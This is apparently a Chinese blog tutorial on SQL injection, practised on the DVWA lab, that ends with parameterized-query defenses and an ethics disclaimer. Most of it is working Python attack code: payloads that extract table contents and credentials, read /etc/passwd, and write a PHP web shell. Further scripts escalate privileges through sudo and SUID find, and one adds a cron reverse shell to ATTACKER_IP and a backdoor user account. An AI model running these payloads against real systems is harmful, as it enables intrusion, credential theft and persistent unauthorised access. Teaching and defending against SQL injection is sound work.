前言:当数据库过于"诚实"时
本文章仅提供学习,切勿将其用于不法手段!
想象你是一个侦探,正在审问一个特别诚实的秘书(数据库)。无论你问什么,她都会如实回答,甚至允许你查看老板的机密文件。SQL注入就是这样一种漏洞——程序过于信任用户输入,让攻击者能够"说服"数据库执行本不该执行的命令。
第一部分:SQL注入原理解析
1.1 什么是SQL注入?
SQL注入发生在程序将用户输入直接拼接到SQL查询中:
-- 正常查询
SELECT * FROM users WHERE username = 'admin' AND password = '123456'
-- 被注入的查询
SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'xxx'
注释符--使密码检查失效,直接以admin身份登录!
1.2 为什么会产生SQL注入?
漏洞根本原因是:混淆了代码和数据的边界
// 危险代码示例
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
// 如果用户输入: admin' --
// 查询变成: SELECT * FROM users WHERE username = 'admin' -- ' AND password = ''
1.3 SQL注入的严重性
SQL注入之所以危险,是因为:
- 直接访问数据库敏感数据
- 可能获得文件读写权限
- 可能执行系统命令
- 可能成为内网渗透的跳板
第二部分:SQL注入实战利用
2.1 环境准备
使用DVWA(Damn Vulnerable Web App)进行练习:
# 启动测试环境
docker run -d -p 80:80 vulnerables/web-dvwa
访问 并登录(admin/password)
2.2 基础注入检测
#!/usr/bin/env python3
import requests
from urllib.parse import quote
def test_sql_injection(url):
test_payloads = [
"'",
"''",
"`",
"\"",
"--",
"#",
"/*",
"*/",
"';",
"\";"
]
for payload in test_payloads:
test_url = f"{url}?id=1{payload}"
response = requests.get(test_url)
if "error" in response.text.lower() or "syntax" in response.text.lower():
print(f"可能存在注入: {payload}")
return True
return False
# 测试目标
target_url = "http://localhost/vulnerabilities/sqli/"
test_sql_injection(target_url)
2.3 信息收集与数据库探测
def enumerate_database(url):
# 确定数据库类型
payloads = {
'mysql': "' AND 1=1 UNION SELECT 1,version() -- ",
'mssql': "' AND 1=1 UNION SELECT 1,@@version -- ",
'oracle': "' AND 1=1 UNION SELECT 1,banner FROM v$version -- "
}
for db_type, payload in payloads.items():
test_url = f"{url}?id=1{quote(payload)}"
response = requests.get(test_url)
if "version" in response.text or "Version" in response.text:
print(f"数据库类型: {db_type.upper()}")
# 提取版本信息
if db_type == 'mysql':
version_payload = "' UNION SELECT 1,version() -- "
elif db_type == 'mssql':
version_payload = "' UNION SELECT 1,@@version -- "
version_url = f"{url}?id=1{quote(version_payload)}"
version_response = requests.get(version_url)
print(f"版本信息: {version_response.text}")
return db_type
return None
2.4 高级数据提取
def extract_data(url, db_type):
# 获取数据库名
if db_type == 'mysql':
db_payload = "' UNION SELECT 1,database() -- "
elif db_type == 'mssql':
db_payload = "' UNION SELECT 1,db_name() -- "
db_response = requests.get(f"{url}?id=1{quote(db_payload)}")
db_name = extract_from_response(db_response.text)
print(f"当前数据库: {db_name}")
# 获取表名
if db_type == 'mysql':
tables_payload = f"' UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema='{db_name}' -- "
elif db_type == 'mssql':
tables_payload = f"' UNION SELECT 1,name FROM sysobjects WHERE xtype='U' -- "
tables_response = requests.get(f"{url}?id=1{quote(tables_payload)}")
tables = extract_multiple_values(tables_response.text)
print(f"发现表: {tables}")
# 获取列名(以users表为例)
if 'users' in tables:
if db_type == 'mysql':
columns_payload = f"' UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='users' -- "
elif db_type == 'mssql':
columns_payload = f"' UNION SELECT 1,name FROM syscolumns WHERE id=object_id('users') -- "
columns_response = requests.get(f"{url}?id=1{quote(columns_payload)}")
columns = extract_multiple_values(columns_response.text)
print(f"users表列: {columns}")
# 提取用户数据
if 'username' in columns and 'password' in columns:
data_payload = f"' UNION SELECT username,password FROM users -- "
data_response = requests.get(f"{url}?id=1{quote(data_payload)}")
credentials = extract_credentials(data_response.text)
print(f"提取的凭据: {credentials}")
return credentials
return None
第三部分:从数据库到系统权限
3.1 文件系统访问
def read_files(url, db_type):
if db_type == 'mysql':
# 读取/etc/passwd
file_payload = "' UNION SELECT 1,load_file('/etc/passwd') -- "
file_response = requests.get(f"{url}?id=1{quote(file_payload)}")
if "root:" in file_response.text:
print("成功读取系统文件!")
passwd_content = file_response.text
return passwd_content
return None
def write_files(url, db_type):
if db_type == 'mysql':
# 写入Web shell
webshell = "<?php system($_GET['cmd']); ?>"
write_payload = f"' UNION SELECT 1,'{webshell}' INTO OUTFILE '/var/www/html/shell.php' -- "
try:
requests.get(f"{url}?id=1{quote(write_payload)}", timeout=5)
# 检查是否写入成功
shell_test = requests.get("http://localhost/shell.php")
if shell_test.status_code == 200:
print("Webshell写入成功!")
return True
except:
pass
return False
3.2 命令执行与权限提升
def execute_commands(url, db_type):
if db_type == 'mysql':
# 利用Webshell执行命令
cmd_url = "http://localhost/shell.php?cmd="
# 检查当前用户
whoami = requests.get(cmd_url + "whoami")
print(f"当前用户: {whoami.text}")
# 尝试提权
# 检查sudo权限
sudo_check = requests.get(cmd_url + "sudo+-l")
if "may run the following" in sudo_check.text:
print("用户有sudo权限!")
# 尝试直接获取root
root_shell = requests.get(cmd_url + "sudo+-i")
if "root" in root_shell.text:
return True
# 检查SUID权限
suid_check = requests.get(cmd_url + "find+/+-perm+-4000+-type+f+2>/dev/null")
suid_binaries = suid_check.text.split('\n')
# 检查已知可提权的SUID程序
exploitable_binaries = ['find', 'vim', 'bash', 'nmap', 'more', 'less']
for binary in exploitable_binaries:
if binary in suid_binaries:
print(f"发现可能可提权的SUID程序: {binary}")
# 尝试利用
if binary == 'find':
priv_esc = requests.get(cmd_url + "find+/dev/null+-exec+/bin/sh+\\;")
if "root" in priv_esc.text:
return True
return False
3.3 横向移动与持久化
def lateral_movement(credentials):
# 使用获取的凭据尝试SSH登录
for username, password in credentials.items():
try:
import paramiko
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('localhost', username=username, password=password)
print(f"成功SSH登录为 {username}")
# 在系统上建立持久化
commands = [
"echo '反向Shell命令' >> ~/.bashrc",
"crontab -l | { cat; echo '* * * * * /bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"'; } | crontab -",
"useradd -m -s /bin/bash backdooruser",
"echo 'backdooruser:password' | chpasswd"
]
for cmd in commands:
stdin, stdout, stderr = ssh.exec_command(cmd)
print(f"执行: {cmd}, 输出: {stdout.read()}")
ssh.close()
return True
except:
continue
return False
第四部分:高级绕过技术
4.1 WAF绕过技术
def bypass_waf(url):
# 各种WAF绕过技巧
bypass_techniques = [
"/*!UNION*/SELECT",
"UNION%0aSELECT", # 换行符
"UNION%0bSELECT", # 垂直制表符
"UNION%0cSELECT", # 换页符
"UNION%0dSELECT", # 回车符
"UNION%09SELECT", # 水平制表符
"UNION%a0SELECT", # 空格变体
"UNION/**/SELECT", # 注释符
"UNIÓN SELECT", # 特殊字符
"UNION%20ALL%20SELECT",
"1'||'1'||'1", # 连接符绕过
]
for technique in bypass_techniques:
test_url = f"{url}?id=1{quote(technique)}"
response = requests.get(test_url)
if not "blocked" in response.text and not "forbidden" in response.text:
print(f"WAF绕过成功: {technique}")
return technique
return None
4.2 盲注与时间盲注
def blind_sql_injection(url):
# 基于时间的盲注
def test_blind(condition):
time_payload = f"' AND IF({condition},SLEEP(5),0) -- "
start_time = time.time()
requests.get(f"{url}?id=1{quote(time_payload)}")
end_time = time.time()
return (end_time - start_time) > 4
# 逐字符提取数据
def extract_char(query, position):
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
for char in chars:
condition = f"SUBSTRING(({query}),{position},1)='{char}'"
if test_blind(condition):
return char
return None
# 提取数据库版本
version = ""
for i in range(1, 20):
char = extract_char("SELECT version()", i)
if char:
version += char
print(f"版本: {version}")
else:
break
return version
第五部分:防御与深度思考
5.1 为什么SQL注入持续存在?
- 开发人员教育不足:许多开发者不了解安全编码
- 框架误用:即使使用安全框架,也可能错误配置
- 遗留系统:大量老旧系统难以更新
- 复杂性:现代应用涉及多个数据源和复杂查询
5.2 彻底防御SQL注入
# 正确的防御方法
def safe_database_query(username, password):
# 使用参数化查询
import sqlite3
conn = sqlite3.connect('database.db')
cursor = conn.cursor()
# 安全查询 - 参数化
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?",
(username, password))
results = cursor.fetchall()
conn.close()
return results
# 或者使用ORM
from sqlalchemy import create_engine, text
def safer_query(username, password):
engine = create_engine('sqlite:///database.db')
with engine.connect() as conn:
query = text("SELECT * FROM users WHERE username = :user AND password = :pass")
result = conn.execute(query, {"user": username, "pass": password})
return result.fetchall()
5.3 深度防御策略
真正的安全需要多层防护:
- 输入验证:白名单验证所有输入
- 参数化查询:永远不要拼接SQL
- 最小权限:数据库用户只拥有必要权限
- WAF保护:Web应用防火墙
- 定期审计:代码安全扫描和渗透测试
- 错误处理:不要向用户暴露数据库错误信息
第六部分:伦理思考与责任
6.1 安全研究的道德边界
- 授权测试:只在获得明确授权的系统上进行
- 负责任披露:发现漏洞后给厂商合理时间修复
- 教育目的:技术知识应用于建设更安全的世界
- 法律意识:了解相关法律法规
6.2 SQL注入的哲学启示
SQL注入教会我们几个重要道理:
- 信任需要验证:永远不要盲目信任用户输入
- 边界的重要性:清晰区分代码和数据边界
- 深度防御:安全需要多层次保护
- 持续学习:安全威胁不断演化,需要持续学习
结语:从攻击者到防御者的思维转变
掌握SQL注入技术不是为了成为更好的攻击者,而是为了成为更优秀的防御者。真正的安全专家理解攻击技术,是为了能够设计出更安全的系统。
深度思考:在云原生和微服务架构时代,SQL注入会以什么新的形式出现?如何在这种新环境下有效防御?
记住:最好的安全不是修复漏洞,而是从一开始就避免引入漏洞。
免责声明:本文所有技术内容仅用于教育目的和安全研究。未经授权的系统访问是违法行为。请始终在合法授权范围内进行安全测试。

6849

被折叠的 条评论
为什么被折叠?



